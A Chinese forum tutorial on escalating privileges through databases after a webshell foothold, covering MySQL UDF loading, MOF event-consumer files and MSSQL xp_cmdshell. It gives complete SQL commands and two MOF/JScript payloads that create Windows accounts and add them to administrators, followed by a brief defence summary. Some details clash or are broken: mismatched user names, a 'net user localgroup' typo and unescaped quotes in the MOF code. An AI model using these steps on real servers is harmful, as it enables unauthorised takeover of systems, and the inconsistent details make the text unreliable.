电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 2824 人浏览分享

提取---数据库提权

[复制链接]
2824 0
本帖最后由 zhaorong 于 2021-5-19 15:04 编辑

提权的概念

在入侵过程中,通过各种办法和漏洞 提高攻击者在服务器中的权限 从而以便控制全局的过程就叫做提权。
例如:windows系统--->user(guest)--->system;Linux系统--->user--->root
在web渗透中 从最开始的webshell获取的权限可能仅仅是中间件的权限 可执行的操作控制有限 攻击者
往往会通过提权的方式来提升已有的权限,从而执行更多的操作。

160212zt9himmx6rs6s9e6.png

提权的方法

一、系统漏洞提权
(1)获取操作系统类型以及版本号
(2)根据获取的系统版本号在互联网搜索exp
(3)尝试利用exp获取权限
(4)尝试反弹shell
二、数据库提权
(1)mysql数据库——udf提权
(2)数据库提权——mof提权
(3)数据库提权——反弹端口提权
(4)数据库提权——启动项提权
三、第三方软件/服务提权
(1)通过第三方软件漏洞进行提权
(2)通过服务端口、服务协议漏洞进行提权

数据库提权

数据库提权就是利用执行数据库语句 利用数据库函数等方式提升服务器用户的权限。
例如在 mysql 数据操作中 如果需要执行cmd命令 就会调用UDF这个dll文件 我们就
是利用这个漏洞 进行提权操作。

160212cf277bswm9m7b07f.png.thumb.jpg

数据库提权思路

(1)如果已经上传webshell,可以从中寻找获取数据库的连接文件(目的获得数据库密码)
--通过读取一些数据库配置文件
数据库配置文件:命令规则(data、sql、inc、config、conn、database等)
--通过mysql数据库的user表
数据库安装文件:安装目录下data/mysql/user.myd
frm:描述表结构文件 字段长度 myi:索引信息 myd:数据库信息文件 存储数据信息
(2)获取当前mysql的一个数据库连接信息,通常包含地址 端口 账号 密码 库名等五个信息
(3)数据库具有create insert delete权限
(4)寻找存在可读写的文件目录一般是回收站 windows 或tmp linux 用于上传提权工具或者写入脚本

MYSQL数据库---UDF提权

udf(user-defined-function)是mysql得一个拓展接口 也称为用户自定义函数 用户通过自定义函数来实现在
mysql中无法方便实现得功能当攻击者已知root账号和密码 就可以利用root权限 创建带有调用cmd函数的
udf.dll 。当我们把udf.dll导出指定文件夹引入mysql时候 其中的调用函数拿出来当作mysql函数来使用。

提权思路:
(1)mysql版本小于1版本,udf.dll文件在windows2003下放在:c:\windows\system32。
在windows2000放在:c:\winnt\system32
(2)mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。
但是大于5.1版本的时候没有plugin这个文件夹 需要自己创建。
(3)利用udf文件加载函数执行命令
create function cmdshell returns string soname 'udf.dll';  //returns string soname ‘导出的DLL路径’;
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;

用蚁剑连接一句话木马 执行蚁剑的数据库功能模块可以执行SQL语句查看版本5.5.53>5.1udf.dll文件必须
放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹 需要自己创建。

160213w3wys43wod3wt3yz.png

在c:/phpStudy/MySQL/lib/目录下创建一个文件夹plugin 然后上传我们的udf.dll文件

99png.png

把udf.dll导出指定文件夹引入mysql 调用cmd函数的 udf.dll”
查看当前用户 当前并无ndsec用户

160215ha3qawdwisqbg3bi.png

调用cmd创建用户 用户名为ndsec 密码为ndsecpw
  1. net user ndsec ndsecpw /add
复制代码

98.png

添加用户ndsec进系统用户组
  1. net user localgroup administrators ndsec /add
复制代码

97.png

删除cmd函数

96.png

查看当前系统用户,发现添加用户成功 提权成功

93.png

MYSQL数据库---MOF提权

mof文件是mysql数据库的扩展文件
存放路径C:/windows/system32/wbem/mof/nullevt.mof其作用
是每隔5秒就会去监控进程创建和死亡。

提权条件
1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null

提权思路:

mof文件每5秒就会执行 而且是系统权限 我们可以通过load_file将文件写入/wbme/mof 然后系统每5秒就会
执行一次我们上传的mof,mof当中是一段vbs脚本 通过通过控制vbs脚本让系统执行命令 进行提权。

方法一:Net user查看当前系统用户

92.jpg

上传一个mof文件 其中有我们生成用户的代码 系统每隔5秒执行一次
And TargetInstance.Second = 5";控制 这里输入5就是每分钟的第五秒执行
  1. #pragma namespace("\\\\.\\root\\subscription")
  2. instance of EventFilter as $EventFilter
  3. {
  4. EventNamespace = "Root\\Cimv2";
  5. Name  = "filtP2";
  6. Query = "Select * From InstanceModificationEvent "
  7. "Where TargetInstance Isa "Win32_LocalTime" "
  8. "And TargetInstance.Second = 5";
  9. QueryLanguage = "WQL";
  10. };
  11. instance of ActiveScriptEventConsumer as $Consumer
  12. {
  13. Name = "consPCSV2";
  14. ScriptingEngine = "JScript";
  15. ScriptText =
  16. "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.exe user admin admin /add")";
  17. };
  18. instance of FilterToConsumerBinding
  19. {
  20. Consumer   = $Consumer;
  21. Filter = $EventFilter;
  22. };
复制代码

91.png

将其放入c:\windows\system32\wbem\mof目录下 mof文件每5秒就会执行,而且是系统权限

90.jpg

执行完mof文件后 相当于执行里面的脚本 从而自动生成新用户su1

89.jpg

再次上传新的mof文件 将刚刚生成的用户su1加入系统组
  1. #pragma namespace("\\\\.\\root\\subscription")
  2. instance of EventFilter as $EventFilter
  3. {
  4. EventNamespace = "Root\\Cimv2";
  5. Name  = "filtP2";
  6. Query = "Select * From InstanceModificationEvent "
  7. "Where TargetInstance Isa "Win32_LocalTime" "
  8. "And TargetInstance.Second = 5";
  9. QueryLanguage = "WQL";
  10. };
  11. instance of ActiveScriptEventConsumer as $Consumer
  12. {
  13. Name = "consPCSV2";
  14. ScriptingEngine = "JScript";
  15. ScriptText =
  16. "var WSH = new ActiveXObject("WScript.Shell")\nWSH.run("net.e
  17. xe localgroup administrators admin /add")";
  18. };
  19. instance of FilterToConsumerBinding
  20. {
  21. Consumer   = $Consumer;
  22. Filter = $EventFilter;
  23. };
复制代码

88.png

查看用户组 发现新用户su1添加到管理组添加成功

87.png

方法二:有些权限的数据库账号

将生成普通用户admin的代码进行转码(字符转十进制/ascii)

86.png

将在线转码器的成果放到word里 将空格替换成逗号

85.jpg
82.jpg

同理将用户添加进系统组的代码转码

81.jpg
80.jpg

查看当前用户 生成admin

69.png

MSSQL数据库提权

Mssql提权是利用扩展存储过程来执行系统命令 达到是自己权限提升的目的。

提权思路

1、Mssql的服务没有降权,是以默认服务继承的权限来运行的
2、拥有该主机Mssql中的sa账号和密码
文件上传的大马webshell后可以连接mssql数据库

68.png

Mysql账号的寻找方式 一般先寻找网站目录下的配置文件 如:conn.asp(x)/web.config找到一个
xml网页,存放着数据库账户和密码 账号密码为:sa/sa

67.png

  1. sp_configure 'show advanced options',1;reconfigure开启xp_cmdshell服务
复制代码

以文本行的形式输出

66.png
62.jpg

exec xp_cmdshell 'net user su su123 /add' 添加用户su

61.jpg

exec xp_cmdshell 'net localgroup administrators su /add' 将用户su加入系统组

60.jpg

查看是否添加成功

59.jpg

总结

防御数据库提权可以限止数据库远程连接 给数据库账号密码设置的时候应该尽量复杂化 避免弱口令;不要给网
站配置root或SA这种可以扩展存取的权限。必须给每个网站独立分配数据库帐户并限格控制好权限;安装Waf
设备进行防御;安装数据库审计设备进行防御以及审计。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.